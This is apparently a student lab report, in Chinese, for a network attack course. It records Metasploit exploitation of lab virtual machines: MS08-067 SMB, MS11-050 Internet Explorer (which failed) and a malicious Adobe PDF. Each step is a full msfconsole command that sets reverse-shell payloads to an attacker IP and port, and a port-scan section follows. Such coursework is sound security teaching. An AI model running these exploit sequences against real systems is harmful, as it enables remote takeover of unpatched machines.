# 2017-2018-2 20155319『网络对抗技术』Exp5:MSF基础应用

2017-2018-2 20155319『网络对抗技术』Exp5:MSF基础应用

基础问题回答

  • 用自己的话解释什么是exploit,payload,encode
  • exploit:使用者利用漏洞进行攻击的一个过程,是一个载具。
  • payload:攻击载荷,如后门等攻击代码。
  • encode:用来编码,用于伪装

    实践过程记录

    1.Windows服务渗透攻击——MS08-067安全漏洞
①攻击机:kali ②靶机:windows XP SP3(English)

可以ping通。
1071560-20180502124642897-1639714681.png

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf >search ms08-067//使用search命令搜寻有关漏洞MS08_067的相关信息
    1071560-20180502124719670-628949267.png

  • msf > use exploit/windows/smb/ms08_067_netapi
  • msf exploit(ms08_067_netapi)> show payloads//查看可以供我们使用的payload:
    1071560-20180502124752979-388501223.png

  • msf exploit(ms08_067_netapi)> set payload generic/shell_reverse_tcp //tcp反向回连
  • msf exploit(ms08_067_netapi)> set LHOST 192.168.72.131攻击者ip
  • msf exploit(ms08_067_netapi)> set LPORT 5319
  • msf exploit(ms08_067_netapi)> set RHOST 192.168.72.135 //靶机ip
  • msf exploit(ms08_067_netapi)> set target 0 //自动选择目标系统类型
    1071560-20180502124807874-947994880.png

  • msf exploit(ms08_067_netapi) > exploit
  • 成功!攻击结果如下:
    1071560-20180502124821361-1385218571.png

1071560-20180502124827594-69330501.png

1071560-20180502124910418-1780050746.png

2.浏览器渗透攻击——MS11-050
①攻击机:kali ②靶机:WindowsXP Professional sp2/Windows7专业版 ③IE版本:7.0/8.0

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use windows/browser/ms11_050_mshtml_cobjectelement
  • msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连
  • msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.72.131 //攻击机ip
  • msf exploit(ms11_050_cobjectelement) > set LPORT 5319 //攻击端口固定
  • msf exploit(ms11_050_cobjectelement) > set URIPATH rhl19 //统一资源标识符路径设置
  • msf exploit(ms11_050_cobjectelement) > exploit
  • 成功得到Local ip:
    1071560-20180502124925963-164453886.png

  • 用靶机访问http://192.168.72.131:8080/rhl19 ,出现了弹窗警告:
    1071560-20180502124934962-411239696.png

1071560-20180502124942498-2012048901.png

  • 尝试修改一下ie浏览器的相关设置,降低其安全等级
    1071560-20180502124950850-1714847881.png

  • 第二次在IE中访问以上网址还是失败了...很难受...
    1071560-20180502125000733-1240570192.png

3.针对客户端的攻击Adobe
①攻击机:kali ②靶机:windowsXP Professional sp2 ③Adobe版本:9.3

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

  • msf > use windows/fileformat/adobe_cooltype_sing
  • msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连
  • msf exploit(adobe_cooltype_sing) > set LHOST 192.168.72.131 //攻击机ip
  • msf exploit(adobe_cooltype_sing) > set LPORT 5319 //攻击端口
  • msf exploit(adobe_cooltype_sing) > set FILENAME 20155319.pdf //设置生成pdf文件的名字
  • msf exploit(adobe_cooltype_sing) > exploit //攻击
  • 成功生成pdf。
    1071560-20180502125019316-1327284462.png

  • 由于生成的文件是隐藏文件使用copy命令把其复制到别的目录中去。
    1071560-20180502125028633-1574970828.png

  • 将pdf文件传送或拷贝到靶机上后,在kali上输入back退出当前模块,进入监听模块,输入以下命令:
msf > use exploit/multi/handler //进入监听模块
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
msf exploit(handler) > set LHOST 192.168.72.131 //攻击机ip
msf exploit(handler) > set LPORT 5319 //攻击端口固定
msf exploit(handler) > exploit
  • 再把靶机上打开pdf文件,回连成功。
    1071560-20180502125046356-415506692.png

1071560-20180502125057353-470380119.png

4.Metasploit之——信息收集模块

一、扫描端口

  • msf > use auxiliary/scanner/portscan/syn(使用portscan模块)
  • msf auxiliary(syn) > show options
  • msf auxiliary(syn) > set RHOSTS 192.168.72.137(目标)
  • msf auxiliary(syn) > set THREADS 50(线程)
  • msf auxiliary(syn) > exploit
    由于扫描时间比较长,提前终止了。
    1071560-20180502125107375-1952952858.png

二、扫描靶机的TCP端口使用情况

  • 输入以下指令:
    1071560-20180502125116326-1888873917.png

  • run开启扫描,可以看到在winxp靶机上所有tcp端口的使用情况

    实践总结及体会

    本次实验没有什么特别难的地方,主要在环境的配置上,自己配置了好久但还是不成功,最后拷了配置好的虚拟机。体会到了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。感受到了实践和真实攻击的差距。

转载于:https://www.cnblogs.com/rhl20155319/p/8979680.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值